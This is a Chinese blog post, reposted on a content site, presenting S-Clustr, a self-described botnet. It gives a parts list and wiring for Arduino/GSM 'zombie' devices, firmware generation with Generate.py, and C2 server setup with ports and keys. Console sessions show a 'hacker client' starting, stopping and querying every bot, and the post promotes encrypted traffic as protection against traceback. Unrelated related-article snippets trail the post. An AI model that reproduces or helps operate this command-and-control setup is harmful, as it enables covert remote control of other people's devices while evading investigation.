S-Clustr(影子集群)僵尸网络@Мартин.

公告

项目地址:https://github.com/MartinxMax/S-Clustr/tree/V1.0.0

1.成功扩展3类嵌入式设备,组建庞大的"僵尸网络"
|——C51[开发中]
|——Arduino
|——合宙AIR780e[开发中]
2.攻击者端与服务端之间通讯过程全程加密,防溯源分析
3.Generate一键自动生成Arduino代码
4.DebugDevice 测试模拟嵌入式设备连接服务端
5.设备上线钉钉播报
6.中英参数手册

S-Clustr 嵌入式设备端

准备设备材料(合计 48¥ )

1.Arduino UNO (17¥)

图片.png

2.SIM900A或SIM800A (26¥)

图片.png

2.1路继电器模块5V (3¥)

图片.png

3.杜邦线 (2¥)
母转母

图片.png

4.移动卡

这里需要移动卡是因为SIM800A与SIM900A支持移动的2G网,电信就不行,联通也不行…不过后面测试合宙AIR780e的板子应该联通可行,也就是不需要SIM系列了,内部集成好了

图片.png

接线原理图

这里将模拟Arduino收到信号后控制继电器行为

图片.png

图片.png

不会写代码?..使用Generate.py生成Arduino代码就OK了

一键生成Arduino代码

python3 Generate.py

图片.png

填写完成参数,这里的127.0.0.1是错误的,你应该输入服务端的公网IP地址,也就是运行S-Clustr_Server.py的服务器的IP

图片.png

选择型号直接烧录就OK

图片.png

S-Clustr 服务端

注意:
1.服务端必须在公网,如果你的服务端在内网可以考虑端口映射,黑客端服务默认在端口9999,设备端服务默认在端口10000
2.服务端与黑客端是全程高度加密通信的,强制开启加密服务不可关闭。其次你可以通过Server.conf文件内的配置,来决定嵌入式设备或被控PC接入时是否提供加密服务
3.对于Server.conf文件内参数不理解,请详细阅读手册文档
4.服务端每次启动都将随机长度为12个字符作为密钥用作于黑客与被控设备的身份认证,防止其他黑客未授权接入控制设备。你可以手动指定密钥(python3 S-Clustr_Server.py -keyh Maptnh -keyv Maptnh)
—这里黑客端与被控端各2个密钥,首次为明文密钥,如果你觉得过于敏感,可以把其次的临时TOKEN当作密钥,有效防止明文密钥被破解

0OVQK[M(I}1)2T]1}$28AXK.png
在该参数中,置1表示启动被控设备的加密服务,那么被控设备必须提供身份认证密钥才允许接入,否则拒绝

图片.png

5.有效防止中间人(MITM)嗅探分析黑客端与服务端通信数据包,再进一步防止重放攻击与加密数据被破解

服务端脚本参数解析

-lh:绑定指定本地IP,默认0.0.0.0
-lpv:设置本地监听地址(设备端)默认10000端口
-lph:设置本地监听地址(黑客端)默认9999端口
-keyh:设置黑客端密钥,默认随机12位字符作为密钥
-keyv:设置设备端密钥,默认随机12位字符作为密钥

服务端运行

python3 S-Clustr_Server.py

图片.png

S-Clustr 黑客端

注意:
客户端采用交互式运行,操作类似于Metasploit渗透测试框架

黑客端脚本参数解析

进入后输入 help?options来查看所需要设置的参数
set rhosts <IP>:设置服务端的IP
set rport <Port>:设置服务端的端口
set id <number>:选择所需要控制的设备ID编号,0表示选中所有设备
set pwr <state>:控制设备状态,启动[1],停止[2],查询状态[3]

黑客端连接服务端

python3 S-Clustr_Server.py

图片.png

查询全部设备当前状态

S-Clustr(V1.0.0)> set rhost 127.0.0.1
[*] rhost => 127.0.0.1
S-Clustr(V1.0.0)> set id 0
[*] id => 0
S-Clustr(V1.0.0)> set pwr 3
[*] pwr => 3

PS:这里必须填写Key,这将决定你是否有权限接入服务器的关键要素。
在服务端中,你可以任意挑选一个作为密钥

图片.png

S-Clustr(V1.0.0)> set key cf5cdc4798a72283a4c0c0b1ef2ef5da
[*] key => cf5cdc4798a72283a4c0c0b1ef2ef5da

查询全部设备状态

S-Clustr(V1.0.0)> set id 0
[*] id => 0 
S-Clustr(V1.0.0)> set pwr 3
[*] pwr => 3 
S-Clustr(V1.0.0)> run
[*] Connecting to the server...
[*] Attempting to authenticate to the server [127.0.0.1:9999]
|   Device ID   |  Device Type  | Device State | Device Network |
|:-------------:|:-------------:|:-------------:|:---------------:|
|       1        |      None      |    Stopped     |   Disconnected   |
|       2        |      None      |    Stopped     |   Disconnected   |
|       3        |      None      |    Stopped     |   Disconnected   |
|       4        |      None      |    Stopped     |   Disconnected   |
|       5        |      None      |    Stopped     |   Disconnected   |
|       6        |      None      |    Stopped     |   Disconnected   |
|       7        |      None      |    Stopped     |   Disconnected   |
|       8        |      None      |    Stopped     |   Disconnected   |
|       9        |      None      |    Stopped     |   Disconnected   |
|       10       |      None      |    Stopped     |   Disconnected   |
|:-------------:|:-------------:|:-------------:|:---------------:|

我们可以看到已经成功接入服务器了,身份认证成功

我们设置错误的Key时,服务器将无法对你进行授权

图片.png

图片.png

【模拟被控设备连接服务端】通过黑客端控制全部设备

图片.png

设备全部上线

图片.png

控制全部设备启动

S-Clustr(V1.0.0)> set id 0
[*] id => 0
S-Clustr(V1.0.0)> set pwr 1
[*] pwr => 1
S-Clustr(V1.0.0)> run

图片.png

图片.png

控制全部设备停止

S-Clustr(V1.0.0)> set id 0
[*] id => 0 
S-Clustr(V1.0.0)> set pwr 2
[*] pwr => 2
S-Clustr(V1.0.0)> run

图片.png

案例:被控端收到命令后,访问www.bing.com,并且打开计算器

图片.png

图片.png

输入我们的被控端KEY

图片.png
被控端成功接入

我们的黑客端也成功查询到设备

图片.png

控制设备完成题目要求

在这里插入图片描述

手册文档

Parameter_Description-ZH.xls

图片.png

Parameter_Description-EN.xls

图片.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/93661.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【机器学习】熵和概率分布,图像生成中的量化评估IS与FID

详解机器学习中的熵、条件熵、相对熵、交叉熵 图像生成中常用的量化评估指标通常有Inception Score (IS)和Frchet Inception Distance (FID) Inception Score (IS) 与 Frchet Inception Distance (FID) GAN的量化评估方法——IS和FID&#xff0c;及其pytorch代码

计算机组成原理期末复习

第一章 上机前的准备&#xff1a;建立数学模型、确定计算方法和编制解题程序n位操作码有 2 n 2^n 2n种不同操作主储存器&#xff08;主存/内存&#xff09;包括存储体M、各种逻辑部件及控制电路。储存体有多个储存单元&#xff0c;储存单元有多个储存元件&#xff0c;每个存储…

《视觉 SLAM 十四讲》V2 第 4 讲 李群与李代数 【什么样的相机位姿 最符合 当前观测数据】

P71 文章目录 4.1 李群与李代数基础4.1.3 李代数的定义4.1.4 李代数 so(3)4.1.5 李代数 se(3) 4.2 指数与对数映射4.2.1 SO(3)上的指数映射罗德里格斯公式推导 4.2.2 SE(3) 上的指数映射SO(3),SE(3),so(3),se(3)的对应关系 4.3 李代数求导与扰动模型4.3.2 SO(3)上的李代数求导…

分布式并行训练(DP、DDP、DeepSpeed)

[pytorch distributed] 01 nn.DataParallel 数据并行初步 数据并行 vs. 模型并行 数据并行&#xff1a;模型拷贝&#xff08;per device&#xff09;&#xff0c;数据 split/chunk&#xff08;对batch切分&#xff09; 每个device上都拷贝一份完整模型&#xff0c;每个device分…

spark SQL 任务参数调优1

1.背景 要了解spark参数调优&#xff0c;首先需要清楚一部分背景资料Spark SQL的执行原理&#xff0c;方便理解各种参数对任务的具体影响。 一条SQL语句生成执行引擎可识别的程序&#xff0c;解析&#xff08;Parser&#xff09;、优化&#xff08;Optimizer&#xff09;、执行…

RabbitMQ核心总结

AMQP协议核心概念 RabbitMQ是基于AMQP协议的&#xff0c;通过使用通用协议就可以做到在不同语言之间传递。 server&#xff1a;又称broker&#xff0c;接受客户端连接&#xff0c;实现AMQP实体服务。 connection&#xff1a;连接和具体broker网络连接。 channel&#xff1a…

堆栈与堆(Stack vs Heap)有什么区别?

​编写有效的代码需要了解堆栈和堆内存&#xff0c;这使其成为学习编程的重要组成部分。不仅如此&#xff0c;新程序员或职场老手都应该完全熟悉堆栈内存和堆内存之间的区别&#xff0c;以便编写有效且优化的代码。 这篇博文将对这两种内存分配技术进行全面的比较。通过本文的…

网络协议--链路层

2.1 引言 从图1-4中可以看出&#xff0c;在TCP/IP协议族中&#xff0c;链路层主要有三个目的&#xff1a; &#xff08;1&#xff09;为IP模块发送和接收IP数据报&#xff1b; &#xff08;2&#xff09;为ARP模块发送ARP请求和接收ARP应答&#xff1b; &#xff08;3&#xf…

Linux文件系统及命令 | 实用操作指令汇总

目录 ctrl c 强制停止与ctrl d 退出或登出 history&#xff1a;历史命令搜索 clear:清屏 ln命令&#xff1a;创建软硬连接 cat命令&#xff1a;显示文件命令 less命令&#xff1a;查看大文件 grep命令&#xff1a;正则表达式使用 sort命令&#xff1a;排序 uniq命令…

JSON的MIME媒体类型是application/json

JSON&#xff08;全称 JavaScript Object Notation&#xff09;即JavaScript对象表示法&#xff0c;通知使用application/json媒体类型。 目录 1、JSON介绍 2、JSON语法 3、实践总结 运行环境&#xff1a; Windows-7-Ultimate-x64、Windows-10-BusinessEditions-21h2-x64 1…

区块链实验室(27) - 区块链+物联网应用案例

分享最新的区块链物联网应用案例&#xff1a;HPCLS-BC

【Kafka专题】Kafka快速实战以及基本原理详解

目录 前言课程内容一、Kafka介绍1.1 MQ的作用1.2 为什么用Kafka 二、Kafka快速上手2.1 实验环境2.2 单机服务体验2.3 认识Kafka模型架构2.4 Kafka集群2.5 理解服务端的Topic、Partion和Broker2.6 章节总结&#xff1a;Kafka集群的整体结构 三、Kraft集群&#xff08;拓展&#…

集群-Nacos-2.2.3、Nginx-1.24.0集群配置

Nacos集群 高可用 Nginx 集群Nacos 集群&#xff08;至少三个实例&#xff09;高可用数据库集群&#xff08;取代 Nacos 内嵌数据库&#xff09; Nacos 集群搭建 集群使用版本&#xff1a; Nginx 1.24.0 Nacos 2.2.3 服务器IP服务器版本Nginx18.18.18.40CentOS-7.9MySQL18.18.…

样品运输与贮存

声明 本文是学习GB-T 42959-2023 饲料微生物检验 采样. 而整理的学习笔记,分享出来希望更多人受益,如果存在侵权请及时联系我们 1 范围 本文件规定了以微生物检验为目的的采样原则、采样人员、设备和材料、采样方案、采样步骤和采样 报告。 本文件适用于以微生物检验为目的…

flutter开发实战-webview插件flutter_inappwebview使用

flutter开发实战-webview插件flutter_inappwebview使用 在开发过程中&#xff0c;经常遇到需要使用WebView&#xff0c;Webview需要调用原生的插件来实现。常见的flutter的webview插件是webview_flutter&#xff0c;flutter_inappwebview。之前整理了一下webview_flutter&…

手机投屏到笔记本电脑小方法

1、我们可以开启Windows自带的投影功能&#xff0c;将我们的手机和电脑连接同一个无线网络。 2、在电脑开始菜单栏里找到设置选项并打开。 3、我们进入之后找到系统选项&#xff0c;点击进去之后找到点击投影到这台电脑&#xff0c;接下来我们将默认的始终关闭的下拉选项更改为…

国庆作业6

TCP服务器 #include "head.h" #define PORT 2580 //端口号 #define IP "192.168.31.219" //本机IP int main(int argc, const char *argv[]) {sqlite3* dbNULL;if(sqlite3_open("./my.db",&db)!SQLITE_OK){fprintf(stde…

匿名上位机V7波形显示教程-简单能用

匿名上位机V7波形显示教程-简单能用 匿名上位机V7下位机数据格式根据匿名上位机V7的手册说明文档&#xff0c;编写对应的指令在主函数中初始化ANDmessage驱动连接匿名上位机V7 匿名上位机V7下位机数据格式 DATA区域内容&#xff1a; 举例说明DATA区域格式&#xff0c;例如上文&…

【数组及指针经典笔试题解析】

1.数组和指针笔试题 题目1 int main(){int a[5] { 1&#xff0c;2&#xff0c;3&#xff0c;4&#xff0c;5};int * ptr (int * )(&a 1);printf("%d&#xff0c;%d"&#xff0c;*(a 1)&#xff0c;*(ptr - 1));return 0;}图文解析&#xff1a; int * ptr …

数据结构与算法——19.红黑树

这篇文章我们来讲一下红黑树。 目录 1.概述 1.1红黑树的性质 2.红黑树的实现 3.总结 1.概述 首先&#xff0c;我们来大致了解一下什么是红黑树 红黑树是一种自平衡的二叉查找树&#xff0c;是一种高效的查找树。红黑树具有良好的效率&#xff0c;它可在 O(logN) 时间内完…